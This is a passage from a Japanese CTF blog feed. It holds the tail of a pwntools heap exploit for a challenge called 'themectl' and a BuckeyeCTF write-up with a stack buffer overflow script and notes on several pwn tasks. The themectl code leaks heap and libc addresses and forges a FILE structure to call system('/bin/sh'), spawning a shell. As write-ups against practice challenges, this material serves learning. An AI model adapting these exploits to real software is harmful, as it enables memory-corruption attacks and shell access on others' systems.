(pos</span><span style="color: #F97583;"> &gt;&gt;</span><span style="color: #79B8FF;"> 12</span><span>)</span><span style="color: #F97583;"> ^</span><span> ptr</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">def</span><span style="color: #B392F0;"> create_io</span><span>() -&gt; tubes.tube.tube:</span></span> <span class="giallo-l"><span style="color: #F97583;"> if not</span><span> local:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> remote(remote_addr,</span><span style="color: #79B8FF;"> int</span><span>(remote_port))</span></span> <span class="giallo-l"><span style="color: #F97583;"> elif</span><span> debug:</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> radare:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> process([elf_name],</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span> util.proc.wait_for_debugger(util.proc.pidof(io)[</span><span style="color: #79B8FF;">0</span><span>])</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span><span>:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> gdb.debug([elf_name], script,</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span><span>:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> process([elf_name],</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> io</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">def</span><span style="color: #B392F0;"> solve</span><span>():</span></span> <span class="giallo-l"><span style="color: #F97583;"> global</span><span> t</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> def</span><span style="color: #B392F0;"> sla</span><span>(x, y):</span></span> <span class="giallo-l"><span> t.sendline(y)</span></span> <span class="giallo-l"><span> time.sleep(</span><span style="color: #79B8FF;">0.1</span><span>)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> sa</span><span style="color: #F97583;"> = lambda</span><span> x, y: t.sendafter(x, y)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> def</span><span style="color: #B392F0;"> register</span><span>(username:</span><span style="color: #79B8FF;"> bytes</span><span>, passwd:</span><span style="color: #79B8FF;"> bytes</span><span>, num:</span><span style="color: #79B8FF;"> int</span><span>):</span></span> <span class="giallo-l"><span> t.sendlineafter(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;&gt;&#39;</span><span>, i2b(</span><span style="color: #79B8FF;">1</span><span>))</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;name: &#39;</span><span>, username)</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;password: &#39;</span><span>, passwd)</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;like?&#39;</span><span>, i2b(num))</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> def</span><span style="color: #B392F0;"> login</span><span>(username:</span><span style="color: #79B8FF;"> bytes</span><span>, passwd:</span><span style="color: #79B8FF;"> bytes</span><span>):</span></span> <span class="giallo-l"><span> t.sendlineafter(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;&gt;&#39;</span><span>, i2b(</span><span style="color: #79B8FF;">2</span><span>))</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;name: &#39;</span><span>, username)</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;password: &#39;</span><span>, passwd)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> def</span><span style="color: #B392F0;"> edit</span><span>(idx:</span><span style="color: #79B8FF;"> int</span><span>, content:</span><span style="color: #79B8FF;"> bytes</span><span>):</span></span> <span class="giallo-l"><span> t.sendlineafter(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;&gt;&#39;</span><span>, i2b(</span><span style="color: #79B8FF;">1</span><span>))</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;edit?&#39;</span><span>, i2b(idx))</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;idea: &#39;</span><span>, content)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> def</span><span style="color: #B392F0;"> view</span><span>(idx:</span><span style="color: #79B8FF;"> int</span><span>) -&gt;</span><span style="color: #79B8FF;"> bytes</span><span>:</span></span> <span class="giallo-l"><span> t.sendlineafter(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;&gt;&#39;</span><span>, i2b(</span><span style="color: #79B8FF;">2</span><span>))</span></span> <span class="giallo-l"><span> t.sendlineafter(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;view? &#39;</span><span>, i2b(idx))</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> t.recvuntil(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;--- OPTIONS ---&#39;</span><span>)[:</span><span style="color: #F97583;">-</span><span style="color: #79B8FF;">16</span><span>]</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> def</span><span style="color: #B392F0;"> logout</span><span>():</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;&gt;&#39;</span><span>, i2b(</span><span style="color: #79B8FF;">4</span><span>))</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> register(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;A&#39;</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;&#39;</span><span>,</span><span style="color: #F97583;"> 0x</span><span style="color: #79B8FF;">190</span><span>)</span></span> <span class="giallo-l"><span> edit(</span><span style="color: #79B8FF;">0</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;&#39;</span><span>)</span></span> <span class="giallo-l"><span> logout()</span></span> <span class="giallo-l"><span> n</span><span style="color: #F97583;"> = 0x</span><span style="color: #79B8FF;">c</span></span> <span class="giallo-l"><span> register(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;B&#39;</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;&#39;</span><span>, n)</span></span> <span class="giallo-l"><span> edit(</span><span style="color: #79B8FF;">0</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;&#39;</span><span>)</span></span> <span class="giallo-l"><span> logout()</span></span> <span class="giallo-l"><span> login(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;A&#39;</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;&#39;</span><span>)</span></span> <span class="giallo-l"><span> edit(</span><span style="color: #79B8FF;">0</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;@&#39;</span><span style="color: #F97583;"> * 0x</span><span style="color: #79B8FF;">28</span><span style="color: #F97583;"> +</span><span> p64(n</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 8</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">11</span><span>)</span><span style="color: #F97583;"> +</span><span> p64(n))</span></span> <span class="giallo-l"><span> logout()</span></span> <span class="giallo-l"><span> login(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;B&#39;</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;&#39;</span><span>)</span></span> <span class="giallo-l"><span> buf</span><span style="color: #F97583;"> =</span><span> view(</span><span style="color: #79B8FF;">0</span><span>)</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> print</span><span>(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&#39;</span><span style="color: #79B8FF;">{</span><span>buf</span><span style="color: #F97583;">=</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&#39;</span><span>)</span></span> <span class="giallo-l"><span> heap_base</span><span style="color: #F97583;"> =</span><span> s2u64(buf)</span><span style="color: #F97583;"> - 0x</span><span style="color: #79B8FF;">1120</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> print</span><span>(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&#39;</span><span style="color: #79B8FF;">{</span><span>heap_base</span><span style="color: #F97583;">=:x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&#39;</span><span>)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> logout()</span></span> <span class="giallo-l"><span> register(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;C&#39;</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;&#39;</span><span>,</span><span style="color: #79B8FF;"> 1</span><span>)</span></span> <span class="giallo-l"><span> edit(</span><span style="color: #79B8FF;">0</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;A&#39;</span><span style="color: #F97583;"> * 0x</span><span style="color: #79B8FF;">28</span><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">dd1</span><span>))</span></span> <span class="giallo-l"><span> logout()</span></span> <span class="giallo-l"><span> register(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;D&#39;</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;&#39;</span><span>,</span><span style="color: #F97583;"> 0x</span><span style="color: #79B8FF;">e00</span><span style="color: #F97583;"> //</span><span style="color: #79B8FF;"> 8</span><span>)</span></span> <span class="giallo-l"><span> logout()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> libc_addr_ptr</span><span style="color: #F97583;"> =</span><span> heap_base</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">12a0</span></span> <span class="giallo-l"><span> login(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;A&#39;</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;&#39;</span><span>)</span></span> <span class="giallo-l"><span> edit(</span><span style="color: #79B8FF;">0</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;@&#39;</span><span style="color: #F97583;"> * 0x</span><span style="color: #79B8FF;">28</span><span style="color: #F97583;"> +</span><span> p64(n</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 8</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">11</span><span>)</span><span style="color: #F97583;"> +</span><span> p64(n)</span><span style="color: #F97583;"> +</span><span> p64(libc_addr_ptr))</span></span> <span class="giallo-l"><span> logout()</span></span> <span class="giallo-l"><span> login(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;B&#39;</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;&#39;</span><span>)</span></span> <span class="giallo-l"><span> libc_base</span><span style="color: #F97583;"> =</span><span> s2u64(view(</span><span style="color: #79B8FF;">0</span><span>))</span><span style="color: #F97583;"> - 0x</span><span style="color: #79B8FF;">21ace0</span></span> <span class="giallo-l"><span> libc.address</span><span style="color: #F97583;"> =</span><span> libc_base</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> print</span><span>(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&#39;</span><span style="color: #79B8FF;">{</span><span>libc_base</span><span style="color: #F97583;">=:x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&#39;</span><span>)</span></span> <span class="giallo-l"><span> logout()</span></span> <span class="giallo-l"><span> login(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;A&#39;</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;&#39;</span><span>)</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> IO_list_all</span><span style="color: #F97583;"> =</span><span> libc_base</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">21b680</span></span> <span class="giallo-l"><span> edit(</span><span style="color: #79B8FF;">0</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;@&#39;</span><span style="color: #F97583;"> * 0x</span><span style="color: #79B8FF;">28</span><span style="color: #F97583;"> +</span><span> p64(n</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 8</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">11</span><span>)</span><span style="color: #F97583;"> +</span><span> p64(n)</span><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">IO_list_all</span><span>))</span></span> <span class="giallo-l"><span> logout()</span></span> <span class="giallo-l"><span> login(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;B&#39;</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;&#39;</span><span>)</span></span> <span class="giallo-l"><span> fake_io</span><span style="color: #F97583;"> =</span><span> heap_base</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">1210</span></span> <span class="giallo-l"><span> edit(</span><span style="color: #79B8FF;">0</span><span>, p64(fake_io))</span></span> <span class="giallo-l"><span> logout()</span></span> <span class="giallo-l"><span> login(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;C&#39;</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;&#39;</span><span>)</span></span> <span class="giallo-l"><span> payload</span><span style="color: #F97583;"> =</span><span> (</span></span> <span class="giallo-l"><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;/bin/sh</span><span style="color: #79B8FF;">\x00</span><span style="color: #9ECBFF;">&#39;</span><span style="color: #6A737D;"> # rdi</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">0</span><span>)</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 8</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">1</span><span>)</span><span style="color: #6A737D;"> # rcx (!=0)</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">2</span><span>)</span><span style="color: #6A737D;"> # rdx</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(libc.sym[</span><span style="color: #9ECBFF;">&quot;system&quot;</span><span>])</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">1</span><span>)</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">0</span><span>)</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 4</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(heap_base</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">5000</span><span>)</span><span style="color: #6A737D;"> # writable area</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">0</span><span>)</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 2</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(fake_io</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">30</span><span>)</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">0</span><span>)</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 3</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">1</span><span>)</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">0</span><span>)</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 2</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(libc.sym[</span><span style="color: #9ECBFF;">&#39;_IO_wfile_jumps&#39;</span><span>]</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">30</span><span>)</span><span style="color: #6A737D;"> # _wide_data</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">0</span><span>)</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 6</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(fake_io</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">40</span><span>)</span></span> <span class="giallo-l"><span> )</span></span> <span class="giallo-l"><span> edit(</span><span style="color: #79B8FF;">0</span><span>, payload)</span></span> <span class="giallo-l"><span> logout()</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;&gt;&#39;</span><span>, i2b(</span><span style="color: #79B8FF;">3</span><span>))</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> t.interactive()</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span>local</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 1</span></span> <span class="giallo-l"><span>debug</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 1</span></span> <span class="giallo-l"><span>radare</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>elf_name</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;./themectl&quot;</span></span> <span class="giallo-l"><span>libc_name</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;./libc.so.6&quot;</span></span> <span class="giallo-l"><span>remote_addr, remote_port</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;challs.actf.co 31325&quot;</span><span>.split()</span></span> <span class="giallo-l"><span style="color: #F97583;">if</span><span> libc_name:</span></span> <span class="giallo-l"><span> libc:</span><span style="color: #79B8FF;"> ELF</span><span style="color: #F97583;"> =</span><span> ELF(libc_name)</span></span> <span class="giallo-l"><span>elf:</span><span style="color: #79B8FF;"> ELF</span><span style="color: #F97583;"> =</span><span> ELF(elf_name)</span></span> <span class="giallo-l"><span>script</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span style="color: #9ECBFF;">&quot;&quot;&quot;</span></span> <span class="giallo-l"><span>t</span><span style="color: #F97583;"> =</span><span> create_io()</span></span> <span class="giallo-l"><span>solve()</span></span></code></pre> 2023-11-19T00:00:00+00:00 2023-11-19T00:00:00+00:00 Unknown https://blog.rqda.wtf/cake-2023/

<p>CakeCTFにTPCとして参加しました。</p>

2023-10-02T00:00:00+00:00 2023-10-02T00:00:00+00:00 Unknown https://blog.rqda.wtf/buckeye-2023/ <p><a rel="external" href="https://ctftime.org/event/2074">BuckeyeCTF</a>に出場しました。 コンテスト中にpwn5問とmisc1問をとき、コンテスト後にlosslessとaNyFTを追加で解きました。</p> <h1 id="pwn-beginner-menu">[pwn] Beginner Menu</h1> <p>入力された番号に対して<code>atoi</code>を呼び出します。</p> <ul> <li>1 &lt;= n &lt;= 4 のときは用意された関数を実行し<code>exit</code></li> <li>5 &lt;= n のときは"Not an Option"と表示し<code>exit</code></li> <li>そうでない場合はflagを出力</li> </ul> <p>という実装がされているので-1を入力するとflagが出てきます。</p> <p>Flag: <code>bctf{y0u_ARe_sNeaKy}</code></p> <h1 id="pwn-starter-buffer">[pwn] Starter Buffer</h1> <p>自明なStack Buffer Overflowがあります。flag変数の値を書き換えてあげればいいです。</p> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="python"><span class="giallo-l"><span style="color: #F97583;">from</span><span> pwn</span><span style="color: #F97583;"> import *</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>context.arch</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;amd64&quot;</span></span> <span class="giallo-l"><span>context.bits</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 64</span></span> <span class="giallo-l"><span>context.terminal</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;tmux splitw -h&quot;</span><span>.split()</span></span> <span class="giallo-l"><span>context.log_level</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;DEBUG&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>s2sh</span><span style="color: #F97583;"> = lambda</span><span> pl:</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&quot;&quot;</span><span>.join([p8(</span><span style="color: #79B8FF;">int</span><span>(pl[i : i</span><span style="color: #F97583;"> +</span><span style="color: #79B8FF;"> 2</span><span>],</span><span style="color: #79B8FF;"> 16</span><span>))</span><span style="color: #F97583;"> for</span><span> i</span><span style="color: #F97583;"> in</span><span style="color: #79B8FF;"> range</span><span>(</span><span style="color: #79B8FF;">0</span><span>,</span><span style="color: #79B8FF;"> len</span><span>(pl),</span><span style="color: #79B8FF;"> 2</span><span>)])</span></span> <span class="giallo-l"><span>s2u64</span><span style="color: #F97583;"> = lambda</span><span> s: u64(s.ljust(</span><span style="color: #79B8FF;">8</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">\x00</span><span style="color: #9ECBFF;">&quot;</span><span>))</span></span> <span class="giallo-l"><span>i2b</span><span style="color: #F97583;"> = lambda</span><span> x:</span><span style="color: #F97583;"> f</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">{</span><span>x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&quot;</span><span>.encode()</span></span> <span class="giallo-l"><span>ptr_guard</span><span style="color: #F97583;"> = lambda</span><span> pos, ptr: (pos</span><span style="color: #F97583;"> &gt;&gt;</span><span style="color: #79B8FF;"> 12</span><span>)</span><span style="color: #F97583;"> ^</span><span> ptr</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">def</span><span style="color: #B392F0;"> create_io</span><span>() -&gt; tubes.tube.tube:</span></span> <span class="giallo-l"><span style="color: #F97583;"> if not</span><span> local:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> remote(remote_addr,</span><span style="color: #79B8FF;"> int</span><span>(remote_port))</span></span> <span class="giallo-l"><span style="color: #F97583;"> elif</span><span> debug:</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> radare:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> process(elf_name,</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span> util.proc.wait_for_debugger(util.proc.pidof(io)[</span><span style="color: #79B8FF;">0</span><span>])</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span><span>:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> gdb.debug(</span></span> <span class="giallo-l"><span> elf_name, script,</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name}</span></span> <span class="giallo-l"><span> )</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span><span>:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> process(elf_name,</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> io</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">def</span><span style="color: #B392F0;"> solve</span><span>():</span></span> <span class="giallo-l"><span style="color: #F97583;"> global</span><span> t</span></span> <span class="giallo-l"><span> sa</span><span style="color: #F97583;"> = lambda</span><span> x, y: t.sendafter(x, y)</span></span> <span class="giallo-l"><span> sla</span><span style="color: #F97583;"> = lambda</span><span> x, y: t.sendlineafter(x, y)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&quot;: &quot;</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&quot;A&quot;</span><span style="color: #F97583;"> * 0x</span><span style="color: #79B8FF;">3C</span><span style="color: #F97583;"> +</span><span> p32(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">45454545</span><span>))</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> t.interactive()</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span>local</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"><span>debug</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"><span>radare</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>elf_name</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;./buffer&quot;</span></span> <span class="giallo-l"><span>libc_name</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;&quot;</span></span> <span class="giallo-l"><span>remote_addr, remote_port</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;chall.pwnoh.io 13372&quot;</span><span>.split()</span></span> <span class="giallo-l"><span>elf:</span><span style="color: #79B8FF;"> ELF</span><span style="color: #F97583;"> =</span><span> ELF(elf_name)</span></span> <span class="giallo-l"><span style="color: #6A737D;"># libc: ELF = ELF(libc_name)</span></span> <span class="giallo-l"><span>script</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span style="color: #9ECBFF;">&quot;&quot;&quot;</span></span> <span class="giallo-l"><span>t</span><span style="color: #F97583;"> =</span><span> create_io()</span></span> <span class="giallo-l"><span>solve()</span></span></code></pre> <p><code>Flag:bctf{wHy_WriTe_OveR_mY_V@lUeS}</code></p> <h1 id="pwn-igpay-atinlay-natoriay">[pwn] Igpay Atinlay Natoriay</h1> <p>Rustに実行時エラーを起こさせるとフラグがもらえます。</p> <p>実験している最中に誤って<code>ｆ</code>を入力したらフラグが降ってきました。 落ち着いて考えるとrustはUFT-8として不正な文字列を持てない(はず？)ので、マルチバイト文字を入力するとここでコケます。</p> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="rust"><span class="giallo-l"><span style="color: #F97583;"> let</span><span> first</span><span style="color: #F97583;"> = &amp;</span><span>word[</span><span style="color: #79B8FF;">0</span><span style="color: #F97583;">..</span><span style="color: #79B8FF;">1</span><span>];</span></span></code></pre> <p><code>flag:bctf{u$trAy_1SyAy_Af3$ay_aNDy@Y_3cUR3s@y}</code></p> <h1 id="pwn-bugsworld">[pwn] Bugsworld</h1> <p>VM問です。17個の命令が用意されていますが、実際に実装されているのは11個のみです。</p> <h2 id="fen-xi">分析</h2> <p>Bytecodeを与え、盤面の中を自由に動くことができる、というバイナリが渡されます。</p> <p>セキュリティ機構はすべてonになっています。</p> <ul> <li>Full RELRO</li> <li>Canary found</li> <li>NX enabled</li> <li>PIE enabled</li> </ul> <h2 id="cui-ruo-xing">脆弱性</h2> <h3 id="pie-base-leak">PIE base leak</h3> <p>win関数が実装されているのでPIE baseのleakさえできればよいです。これは<code>bytecode[i]</code> に入力された値がサニタイズされる前に<code>printf</code>が呼び出されていることを利用します。</p> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="c"><span class="giallo-l"><span style="color: #F97583;"> for</span><span> (</span><span style="color: #F97583;">int</span><span> i </span><span style="color: #F97583;">=</span><span style="color: #79B8FF;"> 0</span><span>; i </span><span style="color: #F97583;">&lt;</span><span> n; i</span><span style="color: #F97583;">++</span><span>) {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> printf</span><span>(</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">%s</span><span style="color: #9ECBFF;">&quot;</span><span>,</span><span style="color: #FFAB70;"> instruction_names</span><span>[</span><span style="color: #FFAB70;">bytecode</span><span>[i]]);</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> (</span><span style="color: #FFAB70;">bytecode</span><span>[i]</span><span style="color: #F97583;"> &lt;</span><span style="color: #79B8FF;"> 0</span><span style="color: #F97583;"> ||</span><span style="color: #FFAB70;"> bytecode</span><span>[i]</span><span style="color: #F97583;"> &gt;</span><span style="color: #79B8FF;"> 16</span><span>) {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> printf</span><span>(</span><span style="color: #9ECBFF;">&quot;Invalid instruction</span><span style="color: #79B8FF;">\n</span><span style="color: #9ECBFF;">&quot;</span><span>);</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span> 